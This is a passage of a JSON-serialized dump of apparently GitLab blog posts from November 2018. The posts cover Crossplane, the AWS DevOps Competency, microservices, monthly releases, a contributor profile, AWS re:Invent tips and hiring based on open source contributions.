new, interesting project up for the challenge.\n\n## Crossplane aims to simplify multi-cloud strategy\n\nCrossplane, [announced today](https://crossplane.io/), is an open source multi-cloud control plane sponsored by [Upbound](https://upbound.io). Crossplane  introduces a set of workload resource abstractions on top of existing managed services and cloud offerings to enable an unprecedented degree of workload portability across cloud providers. There are [six levels of multi-cloud maturity](https://medium.com/gitlab-magazine/multi-cloud-maturity-model-2de185c01dd7) and until today, application portability (i.e. the ability to run an app on any cloud) is incredibly rare and has been difficult to achieve.\n\nUpbound is the sponsoring company behind [Rook.io](https://rook.io), a cloud native storage service for Kubernetes, and are experts in running managed services  the cloud native way. With this project, Upbound strives for Crossplane to become a universal API for cloud computing, and a control plane for smart controllers that can work across clouds. The end goal is to enable a clean separation of concerns between developers who want to consume resources without knowing the details of how they are provisioned or managed, and administrators who want to tightly control the details of implementation and policies.\n\n## How does Crossplane compare to existing tools?\n\nSimilar projects exist, but are not nearly as flexible in their ability to support workload portability across multiple clouds. For example, Terraform and [AWS Service Operator](https://github.com/awslabs/aws-service-operator) are similar infrastructure provisioning tools, but they do not support workload portability across cloud providers. Terraform can dynamically provision infrastructure and typically performs changes only when the tool is run by a human, and AWS Service Operator can only provision managed services in AWS.\n\nAs a result of an open API approach, Crossplane has an opportunity to change the cloud industry as we know it, and we’re excited that they've chosen GitLab to be the first complex app deployed with them.\n\n## Why Crossplane + GitLab?\n\n\"GitLab has a proven track record supporting multi-cloud DevOps,” says Bassam Tabbara, founder and CEO at Upbound. “Customers value the simplicity of the toolchain and the flexibility of the diverse deployment environments that GitLab offers them. Their open collaboration and culture made them the natural fit to be the first complex app deployed with Crossplane.\"\n\nAt GitLab, we’ve committed to multi-cloud DevOps, as detailed in my recent post on [why GitLab will use all three public clouds](https://medium.com/gitlab-magazine/there-are-3-public-clouds-left-and-well-use-all-of-them-214858d793e9). Most of our customers are already leveraging a multi-cloud strategy using [GitLab CI/CD](/solutions/continuous-integration/) and are increasingly looking for more ways to deploy their code across multiple cloud environments. The choices available today are too complex and vendor driven, but with Crossplane the ability to orchestrate clouds becomes simple. We look forward to collaborating with them on this vision and as the first complex app deployed with Crossplane.\n\nOnce GitLab has been successfully deployed with Crossplane, the next step is to use the project to deploy applications from GitLab. We’ll provide updates as they become available.\n",{"slug":31327,"featured":6,"template":678},"opensource-multi-cloud-crossplane","content:en-us:blog:opensource-multi-cloud-crossplane.yml","Opensource Multi Cloud Crossplane","en-us/blog/opensource-multi-cloud-crossplane.yml","en-us/blog/opensource-multi-cloud-crossplane",{"_path":31333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31334,"content":31339,"config":31344,"_id":31346,"_type":16,"title":31347,"_source":17,"_file":31348,"_stem":31349,"_extension":20},"/en-us/blog/gitlab-achieves-aws-devops-competency-certification",{"title":31335,"description":31336,"ogTitle":31335,"ogDescription":31336,"noIndex":6,"ogImage":23744,"ogUrl":31337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31337,"schema":31338},"GitLab achieves AWS DevOps Competency certification","GitLab has been certified with AWS DevOps Competency, affirming our further commitment as a technology partner with Amazon Web Services.","https://about.gitlab.com/blog/gitlab-achieves-aws-devops-competency-certification","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab achieves AWS DevOps Competency certification\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tina Sturgis\"},{\"@type\":\"Person\",\"name\":\"Eliran Mesika\"}],\n        \"datePublished\": \"2018-11-28\",\n      }",{"title":31335,"description":31336,"authors":31340,"heroImage":23744,"date":31341,"body":31342,"category":299,"tags":31343},[25826,21568],"2018-11-28","\n\nToday, we are proud to announce GitLab has been certified with [AWS DevOps Competency](https://aws.amazon.com/devops/partner-solutions/), affirming our further commitment as a technology partner with Amazon Web Services (AWS).\n\nBuilding on the foundation of our AWS partnership over the last three years, with this DevOps certification we’ve now received the highest level of accreditation available from AWS. We bring proven customer success with measurable return on investment for customers running GitLab on AWS and [using GitLab to deploy their software to AWS](/partners/technology-partners/aws/).\n\n![AWS DevOps Competency badge](https://about.gitlab.com/images/blogimages/DevOps_competency_badge.png){: .small.right.wrap-text}\n\n### Why the AWS DevOps Competency matters\n\nAchieving this certification sets GitLab apart as an AWS Partner Network (APN) member that provides demonstrated DevOps technical proficiency and proven customer success, with specific focus in the [Continuous Integration](/solutions/continuous-integration/) and [Continuous Delivery](/solutions/continuous-integration/) category.\n\nThis is important for our own customers who are either looking to move to AWS or are already using it, as well as for current AWS customers. Potential users of GitLab with AWS can be assured that the GitLab solution has been reviewed and approved by an AWS Architect Review Board and that it meets [AWS Security Best Practices](https://d0.awsstatic.com/whitepapers/Security/AWS_Security_Best_Practices.pdf).\n\nThrough this process we were able to demonstrate our product is production ready on AWS for DevOps, specifically for improving application delivery, application build/test, or infrastructure/configuration management.\n\n### GitLab and AWS customer success\n\nTo learn more about the GitLab customer case studies considered for this competency, please review both the Axway and [Trek10](/customers/trek10/) case studies. You can also access information about other customers on the [GitLab customers page](/customers/).\n\n### More about the AWS Competency Program\n\nAWS established the program to help customers identify, through the AWS Partner Network, partners with deep industry experience and expertise in specialized solution areas. Attaining an AWS Competency allows partners to differentiate themselves to customers by showcasing expertise in a specific solution area.\n\nWe are honored to obtain this AWS DevOps Competency status, and believe this helps advance [our mission to allow everyone to contribute](/company/mission/#mission). Our definition of everyone now extends further, to those who are small and large users of AWS and AWS Services on their DevOps journey.   \n\nFor more information on GitLab’s partnership with AWS, check out [about.gitlab.com/solutions/aws](/partners/technology-partners/aws/).\n\nTo learn more about GitLab’s Technology Partners, visit [about.gitlab.com/partners](/partners/technology-partners/).\n",[1384,4103,736],{"slug":31345,"featured":6,"template":678},"gitlab-achieves-aws-devops-competency-certification","content:en-us:blog:gitlab-achieves-aws-devops-competency-certification.yml","Gitlab Achieves Aws Devops Competency Certification","en-us/blog/gitlab-achieves-aws-devops-competency-certification.yml","en-us/blog/gitlab-achieves-aws-devops-competency-certification",{"_path":31351,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31352,"content":31357,"config":31363,"_id":31365,"_type":16,"title":31366,"_source":17,"_file":31367,"_stem":31368,"_extension":20},"/en-us/blog/microservices-integrated-solution",{"title":31353,"description":31354,"ogTitle":31353,"ogDescription":31354,"noIndex":6,"ogImage":12396,"ogUrl":31355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31355,"schema":31356},"Tackling the microservices repository explosion challenge","Microservices have spawned an explosion of dependent projects with multiple repos, creating the need for an integrated solution – we're working on it right now.","https://about.gitlab.com/blog/microservices-integrated-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It's raining repos: The microservices repo explosion, and what we're doing about it\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-11-26\",\n      }",{"title":31358,"description":31354,"authors":31359,"heroImage":12396,"date":31360,"body":31361,"category":734,"tags":31362},"It's raining repos: The microservices repo explosion, and what we're doing about it",[29394],"2018-11-26","\nGone are the days of \"set it and forget it\"-style software development. The increased demand for code and operations on all projects, especially [microservices](/topics/microservices/), means more repos. This calls for a more integrated solution to incorporate testing, security updates, monitoring, and more, says GitLab CEO [Sid Sijbrandij](/company/team/#sytses):\n\n>\"The bar's going up for software development. It's no longer enough to just write the code; you also have to write the tests. It's no longer enough to just ship it; you also have to monitor it. You can no longer make it once and forget about it; you have to stay current with security updates. For every product you make you have to integrate more of these tools. It used to be that only the big projects got all these things, but now every single service you ship should have these features, because other projects are dependent on it. One security vulnerability can be enough to take a company down.\"\n\nAn increasing number of project repos means exponential growth in the number of tools needed to handle them – bad news for those saddled managing project dependencies. A streamlined workflow is essential to alleviate this burden – here's how we want to help you get there.\n\n### Everything under one roof\n\n\"With GitLab, we want to enable you to simply commit your code and have all the tools you need integrated out of the box,\" Sid said. \"You don't have to do anything else. It's monitored; we measure whether your dependencies have a vulnerability and fix it for you automatically. I think that's the big benefit of GitLab; that you don't have to go into stitching together 10 tools for every project that you make.\"\n\nBy using an integrated solution to manage an ever-growing number of microservices, you can avoid having engineers siloed off with their respective teams and tools. Creating visibility among teams and getting rid of the need for handoffs leads to a faster [DevOps lifecycle](/topics/devops/) while also ensuring that your projects deploy and remain stable, Sid explains.\n\n\"Our customers that switched from a fragmented setup and were only able to get projects through that cycle a few times a year are now deploying a few times a week,\" Sid said. \"The ability to go from planning to monitoring it in production is what GitLab brings to the table. We have an ample amount of customer case studies showing how we helped improve their speed.\"\n\n### Better support for microservices\n\nWe are boning up our support of microservices, and have a number of features in the works to improve this area, including [group level Kubernetes clusters](https://gitlab.com/gitlab-org/gitlab-ce/issues/34758), a [global Docker registry browser](https://gitlab.com/gitlab-org/gitlab-ce/issues/49336), and adding the [ability to define multiple pipelines](https://gitlab.com/gitlab-org/gitlab-ce/issues/22972). This is to build on what's already there:\n\n\"We have great support for microservices. GitLab has [multi-project pipelines](/blog/use-multiproject-pipelines-with-gitlab-cicd/) and [can trigger pipelines from multi-projects via API](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html),\" Sid detailed. \"The CI Working Group of the CNCF (Cloud Native Computing Foundation), the most cloud native organization in the world probably, uses GitLab to test their projects. We've got great support for things like [Kubernetes](/solutions/kubernetes/) and cloud native technologies. In GitLab, every project you have can be attached to a Kubernetes cluster, and GitLab uses that to run everything that’s going on. We know that a lot of our users and customers are using microservices, and we work great with them.\"\n\n### Future focus: best-in-class solutions\n\nGitLab is much more than just version control. Having started with the planning, creating and verifying stages in 2011 and 2012, we’ve had time to make those capabilities very strong. We are now strengthening our offerings in the other steps of the DevOps lifecycle: managing, packaging, releasing, configuring, monitoring and security.\n\n\"We are seeing enormous progress in those areas, but they can't go head to head with the best-in-class solutions just yet. So that's going be the theme for GitLab next year, to make sure each of our solutions is best in class instead of just the three things we started with,\" Sid says. \"And we won't take our eyes off the ball.\"\n\n[Cover image](https://unsplash.com/photos/wplxPRCF7gA) by [Ruben Bagues](https://unsplash.com/@rubavi78) on Unsplash\n{: .note}\n",[1384,232,2509,674,942],{"slug":31364,"featured":6,"template":678},"microservices-integrated-solution","content:en-us:blog:microservices-integrated-solution.yml","Microservices Integrated Solution","en-us/blog/microservices-integrated-solution.yml","en-us/blog/microservices-integrated-solution",{"_path":31370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31371,"content":31377,"config":31382,"_id":31384,"_type":16,"title":31385,"_source":17,"_file":31386,"_stem":31387,"_extension":20},"/en-us/blog/why-gitlab-uses-a-monthly-release-cycle",{"title":31372,"description":31373,"ogTitle":31372,"ogDescription":31373,"noIndex":6,"ogImage":31374,"ogUrl":31375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31375,"schema":31376},"How we maintain product velocity with a monthly release cycle","This workplace has gone 85 months without missing a release.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678822/Blog/Hero%20Images/monthlyrelease.jpg","https://about.gitlab.com/blog/why-gitlab-uses-a-monthly-release-cycle","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we maintain product velocity with a monthly release cycle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-11-21\",\n      }",{"title":31372,"description":31373,"authors":31378,"heroImage":31374,"date":31379,"body":31380,"category":299,"tags":31381},[20767],"2018-11-21","\nWe eagerly await the 22nd of each month, because we get to share the hard work of our team and community\nwith our users. Our [release](/releases/) schedule illustrates our belief in the\n[importance of velocity](/handbook/engineering/development/principles/#the-importance-of-velocity) and our\ncommitment to delivering value in the form of features. Monthly releases might\nseem aggressive to outsiders, but we believe our ability to deliver\nfeatures quickly is a competitive advantage that has helped us find success.\n\n## Three cheers for a monthly release cycle!\n\nA monthly release cycle is great for users, because it adds value at a\npredictable pace. Most of GitLab's installations are self managed, helping users\nidentify when new functionality will arrive. As a user, you can look forward to the 22nd of\nevery month, knowing that's when new features become available.\n\n![A screenshot of a user's comment, which says that he is looking forward to February 22 more than 21, which is his birthday](https://about.gitlab.com/images/blogimages/releasebirthday.png){: .shadow}\n\n### A predictable schedule helps with planning team capacity\n\nThe team has also found that it's easier to determine how much capacity we have\nwhen we're planning our workload, because there's no need to agree on\ndeadlines. GitLab team-members know exactly how many days they have to work on something,\nand we can plan in advance. Working with such a short timeframe forces us to\nbuild features as small as possible. We can't say, \"I need two releases for this,\" so we have to really think about how we\ncan make a feature smaller, an idea that's reinforced by our\n[iteration value](https://handbook.gitlab.com/handbook/values/#iteration).\n\n> \"Sometimes, team members will propose having longer release cycles, because\nwe'd be able to fit more into it, or we'd be able to do better quality control,\nbut I think that's short sighted. It's true that in a longer release cycle, you\ncan fit more in, but that will require bigger steps, and we know that\niteration is what makes us achieve velocity. So, the smaller the steps we take,\nthe faster we can go and the easier it is to do quality control. We think a\nmonthly release cycle is the optimal frequency.\" -- [Sid Sijbrandij](/company/team/#sytses), GitLab CEO\n\n## Challenges posed by monthly releases\n\n### It's not always easy to stick to the plan\n\nIt's not all sunshine and rainbows. While we're strong proponents of the monthly release, we realize that there are\nquite a few challenges. A few of the drawbacks relate to our actual deadline\nand staying on track with the [direction](/direction/) of GitLab. For example,\na release might be far away, but we want to ship something now. Or, we want to\nship something, but the release just passed, and now we have to wait. Sometimes\nwe try to cram in something just before the merge window closes even\nthough it's not ready. When these situations arise, we remember to\n[shift objectives](/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab/)\nand focus on providing value to our users.\n\n### There's a big impact on morale\n\nOne of the most bittersweet aspects of a monthly release cycle is that morale can soar\nor suffer, depending on the processes that are put in place. We're thrilled\nwhen we make something and quickly see the benefits. With our schedule, GitLab team-members see\ntheir hard work in action within a month, which is way better than\nin some enterprise organizations in which someone might make something that won't\nget released for six months. At GitLab, people can rapidly effect change with\ntheir contributions and feel like their work matters.\n\nThere were times in the past, however, when our release schedule dampened morale.\nIn the early days, we had a few times when things came down to the wire, and we\nbattled bugs right until the end, making the 22nd look like an impossibility.\nThe rush towards the end caused quite a bit of stress on the team, so we decided\nto create a bigger buffer between the release and the closing of our merge window.\nWe also developed a\n[release process](https://gitlab.com/gitlab-org/release/docs/blob/master/README.md)\nto help keep us on track. Our\n[release template](https://gitlab.com/gitlab-org/release-tools/blob/master/templates/monthly.md.erb)\nhas helped us identify problems earlier so that we're not feeling pressured at\nthe end, which could be detrimental to everyone's motivation.\n\n## How to determine the right cadence\n\nWhile we've found success with monthly releases, we understand that it's not\nright for everyone. If you're a SaaS provider, you don't need releases and can\njust ship whenever something is finished. If you're shipping software that people\nmanage themselves, you're going to have to do versioning, so that people know\nwhat version they're on and are aware of releases, patches, and upgrades. A\nmonthly release cycle forces you into this, so in that case, this cadence would\nwork well for your team. If there's hardware in the loop, extensive testing, or\nhuman testing that's needed, then a longer release cadence is required, because\nyou have to factor in significant fixed costs.\n\nIdentifying the right cadence for your organization comes down to experimentation\nand what your users will accept. Some user bases may only want to update every\nquarter or twice a year, while others want more frequent versions to stay current\nwith industry changes. Because we strongly believe that smaller steps let you\ndeliver faster, we encourage you to start with monthly releases and work towards\nsettling on the pacing that works best. [Collaborate](https://handbook.gitlab.com/handbook/values/#collaboration)\nwith your team to create processes that simplify actions and hold\n[retrospectives](/handbook/engineering/management/group-retrospectives/) to make\nadjustments. We've found that our\n[retrospectives](/blog/our-retrospective-and-kickoff-are-public/) are\nextremely helpful in identifying consistent problem areas.\n\n[Cover image](https://www.pexels.com/photo/22-apartment-architecture-building-210790/) licensed under [CC 0](https://www.pexels.com/creative-commons-images/)\n{: .note}\n",[942,676],{"slug":31383,"featured":6,"template":678},"why-gitlab-uses-a-monthly-release-cycle","content:en-us:blog:why-gitlab-uses-a-monthly-release-cycle.yml","Why Gitlab Uses A Monthly Release Cycle","en-us/blog/why-gitlab-uses-a-monthly-release-cycle.yml","en-us/blog/why-gitlab-uses-a-monthly-release-cycle",{"_path":31389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31390,"content":31395,"config":31400,"_id":31402,"_type":16,"title":31403,"_source":17,"_file":31404,"_stem":31405,"_extension":20},"/en-us/blog/contributor-post-hannes",{"title":31391,"description":31392,"ogTitle":31391,"ogDescription":31392,"noIndex":6,"ogImage":26117,"ogUrl":31393,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31393,"schema":31394},"GitLab Code Contributor: Hannes Rosenögger","Core team member Hannes Rosenögger shares his experience contributing to GitLab since 2014.","https://about.gitlab.com/blog/contributor-post-hannes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Hannes Rosenögger\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-11-20\",\n      }",{"title":31391,"description":31392,"authors":31396,"heroImage":26117,"date":31397,"body":31398,"category":813,"tags":31399},[21623],"2018-11-20","\nFor this month's blog post, we're featuring another [Core Team](/community/core-team/) member [Hannes Rosenögger](https://gitlab.com/haynes).\n\n### When did you first contribute to GitLab?\n\nMy first [MR to close multiple issues with one commit](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/263) was back in December 2014. So that's almost four years ago!\n\n### Why and how did you decide to contribute to GitLab?\n\n I used the Community Edition privately and noticed that mentioning multiple issues in an MR only closed the first issue. Since GitLab was open source and the fix was easy, I decided to fix it myself. GitLab's open policy about everything within the company was also a huge factor.\n\n### Which area(s) of the GitLab product have you been contributing to?\n\nI guess it's been pretty random for me. Most of my contributions have been on the backend side and documentation fixes, but if I see something that I can easily fix or I need a feature for my work, I try to make a contribution. I also provide support on the #gitlab IRC channel on freenode. My IRC handle is `haynes`.\n\n### Can you tell us what you do professionally?\n\nI am a Java software developer for a public sector organization in Germany.\n\n### What do you like to do when you're not working?\n\nWhen I'm not working, I'm probably doing something for my local scout group. I enjoy working with the kids and teaching. I also like to fix things from coffee machines to cars. Basically anything that I can fix with a bit of work.\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-5\" class=\"carousel slide medium center\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"1\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"2\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n          \u003Cimg src=\"/images/blogimages/Hannes-blogpost/workbench.jpg\" alt=\"Hannes on workbench\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/Hannes-blogpost/dishwasher.jpg\" alt=\"Hannes working on his dishwasher\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/Hannes-blogpost/washing_machine.jpg\" alt=\"Washing machine repair\">\n    \u003C/div>\n\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\n### What advice do you have for others who may be interested in contributing to GitLab?\n\nContributing to GitLab is easier than it looks at a first glance and you can contribute to the community in many different ways. For example, if you want to help out translating the GitLab user interface to your native language on [CrowdIn](https://translate.gitlab.com/), this does not require programming skills or any special setup on your laptop. Also when you want to contribute code, reviewers are normally quite fast in getting back to you and are more than happy to help if you have any questions.\n\nIf you are unsure how to get started or you need help, anyone should feel free to ping me on Twitter ([@hrosenoegger](https://twitter.com/hrosenoegger)) or in the #gitlab IRC channel on [freenode](http://freenode.net/).\n\n### Anything else you want to share with the community?\n\nI love the fact that GitLab actually listens to the community. Even after they make a decision to add a new, paid feature, when community members believe it makes more sense to have the feature in [GitLab Core](/pricing/#self-managed) or the free tier of [GitLab.com](/pricing/), they will actually port it back. The [Squash and Merge feature](/releases/2018/06/22/gitlab-11-0-released/#squash-and-merge-in-gitlab-core-and-gitlabcom-free) is a good example of that.\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":31401,"featured":6,"template":678},"contributor-post-hannes","content:en-us:blog:contributor-post-hannes.yml","Contributor Post Hannes","en-us/blog/contributor-post-hannes.yml","en-us/blog/contributor-post-hannes",{"_path":31407,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31408,"content":31414,"config":31419,"_id":31421,"_type":16,"title":31422,"_source":17,"_file":31423,"_stem":31424,"_extension":20},"/en-us/blog/aws-pre-event-post",{"title":31409,"description":31410,"ogTitle":31409,"ogDescription":31410,"noIndex":6,"ogImage":31411,"ogUrl":31412,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31412,"schema":31413},"Our top 6 tips for making the most of AWS re:Invent","Here are our top tips, tricks, and not-to-be missed for AWS 2018.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678889/Blog/Hero%20Images/IMG_4756.jpg","https://about.gitlab.com/blog/aws-pre-event-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our top 6 tips for making the most of AWS re:Invent\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-11-19\",\n      }",{"title":31409,"description":31410,"authors":31415,"heroImage":31411,"date":31416,"body":31417,"category":8943,"tags":31418},[16962],"2018-11-19","\nThis year's AWS re:Invent, Nov. 26-30, looks to be an amazing show. [GitLab works great together with AWS](/partners/technology-partners/aws/) and as an [AWS partner](/partners/#strategic-partners) we're excited to be a part of the show. To help you prepare, the team has put together some top tips for getting the most out of re:Invent, along with a list of all the places you can find GitLab on site.\n\n## Top 6 tips for AWS\n\n### 1. Strategize\n\nKnow what is a must-do/-see for you and plan accordingly, including all talks and networking events. The week has so much going on and you, unfortunately, cannot do it all, so prioritize what is most important to you, and what you will get the most value out of.\n\n### 2. Manage your time\n\nAll transportation takes longer than you think it will or should during your time in Las Vegas. The conference footprint is huge. Give yourself a buffer to get to talks and plan on arriving early if you want to attend some of the more popular talks.\n\n### 3. Set goals\n\nIt is easy to get sidetracked, so having a set list of things you want to accomplish or a reminder of why you have chosen to invest your resources and time to be there can be key. When you are starting to wear down on the morning of day three and need to remind yourself why you came, a list of goals can help you get out of bed 😃\n\n### 4. Take care of yourself\n\nThis is a simple tip that can make all the difference during networking and negotiations. It is a long week and to make the most of it you do need to practice some self-care. Hydrate regularly, eat meals at regular hours, and stick to your exercise routine. Bring your most comfortable shoes instead of your best looking ones. You will thank yourself when you are walking the strip for the 30th time. Actually, bring two pairs of comfortable shoes. Having the option to switch it up if one pair is rubbing you the wrong way can turn a frustrating experience into a non-issue.\n\n### 5. Pack your go-bag the night before\n\nBring a full stock of business cards and external power banks. The days are long and networking strong. Make sure to charge all your devices overnight and don't forget anything you may need for a full day away from your hotel.\n\n### 6. Be open to learning and new experiences\n\nThis takes us back to the underlying question of why we gather at conferences such as re:Invent. Simply put, to learn from thought leaders and our peers. You are there to connect, share best practices, and expand your point of view. Hopefully, you'll leave with some new approaches, more solutions, and more questions to explore when you get home. Plan on taking notes of your interactions and the connections you make. At GitLab, we create issues for all actionable takeaways from the event. This is a great way for us to make sure the info doesn't get lost and gets disseminated to the rest of the team.\n\n## Come join GitLab at AWS 2018\n\nGitLab will be on site in Las Vegas with pleny of demos and tutorials you won't want to miss.\n\n### Sign up to book a time with GitLab\n\nre:Invent can be an extraodinarily busy event with more people to meet and things to see than you'll have time for. To ensure you get time to talk with the GitLab experts on site, book some time in advance to make sure you get a scheduled slot you can count on.\n\n### Stop by booth 2608 on the expo floor in The Venetian\n\nThe team will be staffing our booth during all expo hours. We'll have some unique swag to hand out along with demos and experts to answer your questions.\n\n### Come see our CEO show off GitLab + EKS\n\nOn Tuesday, Nov. 27 at 12:10 p.m. in the Pilvi Theater, [Sid](https://www.linkedin.com/in/sijbrandij/) and [Priyanka](https://www.linkedin.com/in/pritianka/) will be showing how to [reinvent your pipelines with GitLab, Kubernetes, and Amazon EKS](https://www.portal.reinvent.awsevents.com/connect/search.ww#loadSearch-searchPhrase=%22GitLab%22&searchType=session&tc=0&sortBy=abbreviationSort&p=) along with a live demo.\n\n### Demo: Set up your pipelines in five minutes\n\nJoin [Joshua](https://www.linkedin.com/in/jshlmbrt/) at the GitLab booth (2608) on Wednesday, Nov. 28 at 1 p.m. for a live demo of GitLab [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/).\n\n### GitLab CI 101\n\nJoin [Reb](https://www.linkedin.com/in/reb33/) at the GitLab booth (2608) on Tuesday, Nov. 27 at 2 p.m. for a tutorial on getting up and going with [GitLab continuous integration](/solutions/continuous-integration/).\n\nSee you there!\n",[277],{"slug":31420,"featured":6,"template":678},"aws-pre-event-post","content:en-us:blog:aws-pre-event-post.yml","Aws Pre Event Post","en-us/blog/aws-pre-event-post.yml","en-us/blog/aws-pre-event-post",{"_path":31426,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31427,"content":31433,"config":31438,"_id":31440,"_type":16,"title":31441,"_source":17,"_file":31442,"_stem":31443,"_extension":20},"/en-us/blog/hiring-based-on-open-source-contributions-could-be-harmful",{"title":31428,"description":31429,"ogTitle":31428,"ogDescription":31429,"noIndex":6,"ogImage":31430,"ogUrl":31431,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31431,"schema":31432},"We all love open source, but hiring based on contributions could be harmful","An industry expert from Indeed says it's a bad idea to make hiring decisions based on GitHub activity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678750/Blog/Hero%20Images/man-coding.jpg","https://about.gitlab.com/blog/hiring-based-on-open-source-contributions-could-be-harmful","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We all love open source, but hiring based on contributions could be harmful\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-11-16\",\n      }",{"title":31428,"description":31429,"authors":31434,"heroImage":31430,"date":31435,"body":31436,"category":813,"tags":31437},[29394],"2018-11-16","\nThere’s been a lot of chatter about using open source contributions as a metric in the hiring process. After some intense discussions on social media, Ashe Dryden, a programmer and diversity advocate and consultant, [wrote about the ethical problems with hiring based on GitHub activity and open source contributions](https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community) back in 2013, and the topic resurfaces every few months.\n\nMost recently, [@ReBeccaOrg](https://twitter.com/ReBeccaOrg/status/954081973814755328) and [@Joemccann](https://twitter.com/joemccann/status/1004798006485573632) kicked up more discussion with their respective tweets, inspiring the head of open source at job site [Indeed.com](https://www.indeed.com/about), Duane O'Brien, to take it to the next level with a conference talk.\n\n\"This talk was inspired by a discussion from earlier in the year about a startup that tried to create a ranking algorithm to identify job candidates based solely on their GitHub activity,\" he explains. \"In fact, between the time that I started putting together the talk and the first time that I gave it, the topic had blown up on Twitter again because someone else had started talking about how they don't even look at resumes anymore, they just look at GitHub profiles. People were pointing out why this is problematic.\"\n\n### 1. It creates an uneven playing field\n\nWhile hiring based on GitHub profiles is not a universal practice, Duane says it has been going on for a while. He says the practice can inadvertently create bias.\n\n\"A problem with biasing your hiring process toward people who have a history of open source work is that it is likely you're expecting that they've done it in their free time\u003Csup>(1)(2)\u003C/sup>. And the demographic that historically has the most available free time [trends towards male](https://www.unece.org/info/media/news/statistics/2016/how-much-free-time-do-we-have/doc.html),\" he says. \"Because of this, there can be an unexpected effect of filtering out people who are primary caregivers or young parents, or people who are making a career transition and have to work two jobs, those who bear disproportionate household responsibilities, and so on.\"\n\n### 2. It plays up a sometimes unattainable standard\n\nAnother concern for critics of open source contribution-focused hiring is that it can perpetuate this mantra that you have to be coding nonstop to be considered a real developer.\n\n\"There's [this perception](https://www.codementor.io/@codementorteam/how-to-get-your-first-developer-job-even-if-you-don-t-have-a-cs-degree-8b60y8ch2), especially in Silicon Valley, that [if you are not eating, breathing, and sleeping code](https://www.businessinsider.com/why-one-programmer-hates-the-popular-eat-sleep-code-repeat-t-shirt-2016-5) at work and during all your spare time and don't have a bunch of [personal side 